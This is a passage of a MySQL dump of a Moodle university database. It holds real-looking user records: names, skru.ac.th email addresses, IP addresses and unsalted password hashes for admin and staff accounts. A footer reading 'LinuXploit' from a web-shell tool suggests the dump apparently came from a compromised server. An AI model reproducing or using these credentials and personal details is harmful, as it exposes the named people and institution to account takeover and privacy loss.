  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `auth` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'manual',
  `confirmed` tinyint(1) NOT NULL DEFAULT '0',
  `policyagreed` tinyint(1) NOT NULL DEFAULT '0',
  `deleted` tinyint(1) NOT NULL DEFAULT '0',
  `username` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `password` varchar(32) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `idnumber` varchar(64) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `firstname` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `lastname` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `email` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `emailstop` tinyint(1) unsigned NOT NULL DEFAULT '0',
  `icq` varchar(15) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `skype` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `yahoo` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `aim` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `msn` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `phone1` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `phone2` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `institution` varchar(40) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `department` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `address` varchar(70) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `city` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `country` char(2) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `lang` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'en',
  `theme` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `timezone` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '99',
  `firstaccess` int(10) unsigned NOT NULL DEFAULT '0',
  `lastaccess` int(10) unsigned NOT NULL DEFAULT '0',
  `lastlogin` int(10) unsigned NOT NULL DEFAULT '0',
  `currentlogin` int(10) unsigned NOT NULL DEFAULT '0',
  `lastip` varchar(15) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `secret` varchar(15) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `picture` tinyint(1) NOT NULL DEFAULT '0',
  `url` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `mailformat` tinyint(1) unsigned NOT NULL DEFAULT '1',
  `maildigest` tinyint(1) unsigned NOT NULL DEFAULT '0',
  `maildisplay` tinyint(2) unsigned NOT NULL DEFAULT '2',
  `htmleditor` tinyint(1) unsigned NOT NULL DEFAULT '1',
  `autosubscribe` tinyint(1) unsigned NOT NULL DEFAULT '1',
  `trackforums` tinyint(1) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  UNIQUE KEY `username` (`username`),
  KEY `user_deleted` (`deleted`),
  KEY `user_confirmed` (`confirmed`),
  KEY `user_firstname` (`firstname`),
  KEY `user_lastname` (`lastname`),
  KEY `user_city` (`city`),
  KEY `user_country` (`country`),
  KEY `user_lastaccess` (`lastaccess`),
  KEY `user_email` (`email`),
  KEY `auth` (`auth`),
  KEY `idnumber` (`idnumber`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='One record for each person';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_user`
--

LOCK TABLES `mdl_user` WRITE;
/*!40000 ALTER TABLE `mdl_user` DISABLE KEYS */;
INSERT INTO `mdl_user` VALUES (1,'manual',1,0,0,'guest','084e0343a0486ff05530df6c705c8bb4','','Guest User',' ','root@localhost',0,'','','','','','','','','','','','','en_utf8','','99',0,1473219986,1473144914,1473219940,'172.17.166.156','',0,'','This user is a special user that allows read-only access to some courses.',1,0,2,1,1,0,1473057906),(2,'manual',1,0,0,'admin','a37aee9e9bb3accec30c5298091467b9','','Admin','User','kobsak.na@skru.ac.th',0,'','','','','','','','','','','สงขลา','TH','th_utf8','','7.0',0,1473149712,1473144805,1473149626,'172.17.166.156','',0,'','',1,0,1,1,1,0,1473058034),(3,'none',1,0,1,'saranya.ro@skru.ac.th.1473136186','00261e88ea74565d4e5becbe10b5f99b','','ศรัญญา','โรจนวงศ์ชัย','',0,'','','','','','','','','','','สงขลา','TH','th_utf8','','99',0,1473136165,0,1473136135,'172.17.166.156','',0,'','',1,0,2,1,1,0,1473136186),(4,'none',1,0,0,'saranya','00261e88ea74565d4e5becbe10b5f99b','','ศรัญญา','โรจนวงศ์ชัย','saranya.ro@skru.ac.th',0,'','','','','','','','','','','สงขลา','TH','th_utf8','','99',0,1473151109,1473145093,1473149724,'172.17.166.156','',0,'','',1,0,2,1,1,0,1473136269);
/*!40000 ALTER TABLE `mdl_user` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_user_admins`
--

DROP TABLE IF EXISTS `mdl_user_admins`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_user_admins` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `userid` (`userid`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='One record per administrator user';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_user_admins`
--

LOCK TABLES `mdl_user_admins` WRITE;
/*!40000 ALTER TABLE `mdl_user_admins` DISABLE KEYS */;
INSERT INTO `mdl_user_admins` VALUES (1,2);
/*!40000 ALTER TABLE `mdl_user_admins` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_user_coursecreators`
--

DROP TABLE IF EXISTS `mdl_user_coursecreators`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_user_coursecreators` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `userid` (`userid`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='One record per course creator';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_user_coursecreators`
--

LOCK TABLES `mdl_user_coursecreators` WRITE;
/*!40000 ALTER TABLE `mdl_user_coursecreators` DISABLE KEYS */;
INSERT INTO `mdl_user_coursecreators` VALUES (1,4);
/*!40000 ALTER TABLE `mdl_user_coursecreators` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_user_preferences`
--

DROP TABLE IF EXISTS `mdl_user_preferences`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_user_preferences` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `value` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `useridname` (`userid`,`name`)
) ENGINE=MyISAM AUTO_INCREMENT=11 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Allows modules to store arbitrary user preferences';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_user_preferences`
--

LOCK TABLES `mdl_user_preferences` WRITE;
/*!40000 ALTER TABLE `mdl_user_preferences` DISABLE KEYS */;
INSERT INTO `mdl_user_preferences` VALUES (1,2,'email_bounce_count','1'),(2,2,'email_send_count','1'),(3,3,'email_bounce_count','1'),(4,3,'email_send_count','1'),(5,2,'blogpagesize','8'),(6,3,'blogpagesize','8'),(7,4,'email_bounce_count','1'),(8,4,'email_send_count','1'),(9,4,'resource_parametersettingspref','1'),(10,4,'resource_windowsettingspref','1');
/*!40000 ALTER TABLE `mdl_user_preferences` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_user_students`
--

DROP TABLE IF EXISTS `mdl_user_students`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_user_students` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `timestart` int(10) unsigned NOT NULL DEFAULT '0',
  `timeend` int(10) unsigned NOT NULL DEFAULT '0',
  `time` int(10) unsigned NOT NULL DEFAULT '0',
  `timeaccess` int(10) unsigned NOT NULL DEFAULT '0',
  `enrol` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  UNIQUE KEY `courseuserid` (`course`,`userid`),
  KEY `userid` (`userid`),
  KEY `enrol` (`enrol`),
  KEY `timeaccess` (`timeaccess`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_user_students`
--

LOCK TABLES `mdl_user_students` WRITE;
/*!40000 ALTER TABLE `mdl_user_students` DISABLE KEYS */;
INSERT INTO `mdl_user_students` VALUES (1,2,2,0,0,1473137219,0,'manual');
/*!40000 ALTER TABLE `mdl_user_students` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_user_teachers`
--

DROP TABLE IF EXISTS `mdl_user_teachers`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_user_teachers` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `authority` int(10) NOT NULL DEFAULT '3',
  `role` varchar(40) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `editall` int(1) unsigned NOT NULL DEFAULT '1',
  `timestart` int(10) unsigned NOT NULL DEFAULT '0',
  `timeend` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `timeaccess` int(10) unsigned NOT NULL DEFAULT '0',
  `enrol` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  UNIQUE KEY `courseuserid` (`course`,`userid`),
  KEY `userid` (`userid`),
  KEY `enrol` (`enrol`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='One record per teacher per course';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_user_teachers`
--

LOCK TABLES `mdl_user_teachers` WRITE;
/*!40000 ALTER TABLE `mdl_user_teachers` DISABLE KEYS */;
INSERT INTO `mdl_user_teachers` VALUES (1,2,1,1,'',1,0,0,0,0,''),(2,4,2,1,'',1,0,0,0,1473144789,'manual'),(3,4,3,1,'',1,0,0,0,1473149742,'manual');
/*!40000 ALTER TABLE `mdl_user_teachers` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_wiki`
--

DROP TABLE IF EXISTS `mdl_wiki`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_wiki` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `summary` text COLLATE utf8_unicode_ci NOT NULL,
  `pagename` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `wtype` enum('teacher','group','student') COLLATE utf8_unicode_ci NOT NULL DEFAULT 'group',
  `ewikiprinttitle` tinyint(4) NOT NULL DEFAULT '1',
  `htmlmode` tinyint(4) NOT NULL DEFAULT '0',
  `ewikiacceptbinary` tinyint(4) NOT NULL DEFAULT '0',
  `disablecamelcase` tinyint(4) NOT NULL DEFAULT '0',
  `setpageflags` tinyint(4) NOT NULL DEFAULT '1',
  `strippages` tinyint(4) NOT NULL DEFAULT '1',
  `removepages` tinyint(4) NOT NULL DEFAULT '1',
  `revertchanges` tinyint(4) NOT NULL DEFAULT '1',
  `initialcontent` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `timemodified` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Main wiki table';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_wiki`
--

LOCK TABLES `mdl_wiki` WRITE;
/*!40000 ALTER TABLE `mdl_wiki` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_wiki` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_wiki_entries`
--

DROP TABLE IF EXISTS `mdl_wiki_entries`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_wiki_entries` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `wikiid` int(10) NOT NULL DEFAULT '0',
  `course` int(10) NOT NULL DEFAULT '0',
  `groupid` int(10) NOT NULL DEFAULT '0',
  `userid` int(10) NOT NULL DEFAULT '0',
  `pagename` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `timemodified` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `wikiid` (`wikiid`),
  KEY `course` (`course`),
  KEY `gropuid` (`groupid`),
  KEY `userid` (`userid`),
  KEY `pagename` (`pagename`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Holds entries for each wiki start instance.';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_wiki_entries`
--

LOCK TABLES `mdl_wiki_entries` WRITE;
/*!40000 ALTER TABLE `mdl_wiki_entries` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_wiki_entries` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_wiki_pages`
--

DROP TABLE IF EXISTS `mdl_wiki_pages`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_wiki_pages` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `pagename` varchar(160) COLLATE utf8_unicode_ci NOT NULL,
  `version` int(10) unsigned NOT NULL DEFAULT '0',
  `flags` int(10) unsigned DEFAULT '0',
  `content` mediumtext COLLATE utf8_unicode_ci,
  `author` varchar(100) COLLATE utf8_unicode_ci DEFAULT 'ewiki',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `created` int(10) unsigned DEFAULT '0',
  `lastmodified` int(10) unsigned DEFAULT '0',
  `refs` mediumtext COLLATE utf8_unicode_ci,
  `meta` mediumtext COLLATE utf8_unicode_ci,
  `hits` int(10) unsigned DEFAULT '0',
  `wiki` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `wiki_pages_uk` (`pagename`,`version`,`wiki`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Holds the Wiki-Pages';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_wiki_pages`
--

LOCK TABLES `mdl_wiki_pages` WRITE;
/*!40000 ALTER TABLE `mdl_wiki_pages` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_wiki_pages` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_workshop`
--

DROP TABLE IF EXISTS `mdl_workshop`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_workshop` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `wtype` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `nelements` tinyint(3) unsigned NOT NULL DEFAULT '1',
  `nattachments` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `phase` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `format` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `gradingstrategy` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `resubmit` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `agreeassessments` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `hidegrades` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `anonymous` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `includeself` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `maxbytes` int(10) unsigned NOT NULL DEFAULT '100000',
  `submissionstart` int(10) unsigned NOT NULL DEFAULT '0',
  `assessmentstart` int(10) unsigned NOT NULL DEFAULT '0',
  `submissionend` int(10) unsigned NOT NULL DEFAULT '0',
  `assessmentend` int(10) unsigned NOT NULL DEFAULT '0',
  `releasegrades` int(10) unsigned NOT NULL DEFAULT '0',
  `grade` tinyint(3) NOT NULL DEFAULT '0',
  `gradinggrade` tinyint(3) NOT NULL DEFAULT '0',
  `ntassessments` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `assessmentcomps` tinyint(3) unsigned NOT NULL DEFAULT '2',
  `nsassessments` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `overallocation` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `teacherweight` tinyint(3) unsigned NOT NULL DEFAULT '1',
  `showleaguetable` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `usepassword` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `password` varchar(32) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines workshop';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_workshop`
--

LOCK TABLES `mdl_workshop` WRITE;
/*!40000 ALTER TABLE `mdl_workshop` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_workshop` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_workshop_assessments`
--

DROP TABLE IF EXISTS `mdl_workshop_assessments`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_workshop_assessments` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `workshopid` int(10) unsigned NOT NULL DEFAULT '0',
  `submissionid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timegraded` int(10) unsigned NOT NULL DEFAULT '0',
  `timeagreed` int(10) unsigned NOT NULL DEFAULT '0',
  `grade` float NOT NULL DEFAULT '0',
  `gradinggrade` int(3) NOT NULL DEFAULT '0',
  `mailed` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `resubmission` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `donotuse` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `generalcomment` text COLLATE utf8_unicode_ci NOT NULL,
  `teachercomment` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  KEY `submissionid` (`submissionid`),
  KEY `userid` (`userid`),
  KEY `workshopid` (`workshopid`),
  KEY `mailed` (`mailed`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Info about assessments by teacher and students';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_workshop_assessments`
--

LOCK TABLES `mdl_workshop_assessments` WRITE;
/*!40000 ALTER TABLE `mdl_workshop_assessments` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_workshop_assessments` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_workshop_comments`
--

DROP TABLE IF EXISTS `mdl_workshop_comments`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_workshop_comments` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `workshopid` int(10) unsigned NOT NULL DEFAULT '0',
  `assessmentid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `mailed` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `comments` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  KEY `workshopid` (`workshopid`),
  KEY `assessmentid` (`assessmentid`),
  KEY `userid` (`userid`),
  KEY `mailed` (`mailed`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines comments';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_workshop_comments`
--

LOCK TABLES `mdl_workshop_comments` WRITE;
/*!40000 ALTER TABLE `mdl_workshop_comments` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_workshop_comments` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_workshop_elements`
--

DROP TABLE IF EXISTS `mdl_workshop_elements`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_workshop_elements` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `workshopid` int(10) unsigned NOT NULL DEFAULT '0',
  `elementno` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `scale` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `maxscore` tinyint(3) unsigned NOT NULL DEFAULT '1',
  `weight` tinyint(3) unsigned NOT NULL DEFAULT '11',
  `stddev` float NOT NULL DEFAULT '0',
  `totalassessments` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `workshopid` (`workshopid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Info about marking scheme of assignment';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_workshop_elements`
--

LOCK TABLES `mdl_workshop_elements` WRITE;
/*!40000 ALTER TABLE `mdl_workshop_elements` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_workshop_elements` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_workshop_grades`
--

DROP TABLE IF EXISTS `mdl_workshop_grades`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_workshop_grades` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `workshopid` int(10) unsigned NOT NULL DEFAULT '0',
  `assessmentid` int(10) unsigned NOT NULL DEFAULT '0',
  `elementno` int(10) unsigned NOT NULL DEFAULT '0',
  `feedback` text COLLATE utf8_unicode_ci NOT NULL,
  `grade` tinyint(3) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `assessmentid` (`assessmentid`),
  KEY `workshopid` (`workshopid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Info about individual grades given to each element';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_workshop_grades`
--

LOCK TABLES `mdl_workshop_grades` WRITE;
/*!40000 ALTER TABLE `mdl_workshop_grades` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_workshop_grades` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_workshop_rubrics`
--

DROP TABLE IF EXISTS `mdl_workshop_rubrics`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_workshop_rubrics` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `workshopid` int(10) unsigned NOT NULL DEFAULT '0',
  `elementno` int(10) unsigned NOT NULL DEFAULT '0',
  `rubricno` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Info about the rubrics marking scheme';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_workshop_rubrics`
--

LOCK TABLES `mdl_workshop_rubrics` WRITE;
/*!40000 ALTER TABLE `mdl_workshop_rubrics` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_workshop_rubrics` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_workshop_stockcomments`
--

DROP TABLE IF EXISTS `mdl_workshop_stockcomments`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_workshop_stockcomments` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `workshopid` int(10) unsigned NOT NULL DEFAULT '0',
  `elementno` int(10) unsigned NOT NULL DEFAULT '0',
  `comments` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Info about the teacher comment bank';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_workshop_stockcomments`
--

LOCK TABLES `mdl_workshop_stockcomments` WRITE;
/*!40000 ALTER TABLE `mdl_workshop_stockcomments` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_workshop_stockcomments` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_workshop_submissions`
--

DROP TABLE IF EXISTS `mdl_workshop_submissions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_workshop_submissions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `workshopid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `title` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `mailed` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `gradinggrade` int(3) unsigned NOT NULL DEFAULT '0',
  `finalgrade` int(3) unsigned NOT NULL DEFAULT '0',
  `late` int(3) unsigned NOT NULL DEFAULT '0',
  `nassessments` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `userid` (`userid`),
  KEY `workshopid` (`workshopid`),
  KEY `mailed` (`mailed`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Info about submitted work from teacher and students';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_workshop_submissions`
--

LOCK TABLES `mdl_workshop_submissions` WRITE;
/*!40000 ALTER TABLE `mdl_workshop_submissions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_workshop_submissions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Dumping events for database 'moodle'
--
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2022-02-20  0:30:31

Youez - 2016 - github.com/yon3zu
LinuXploit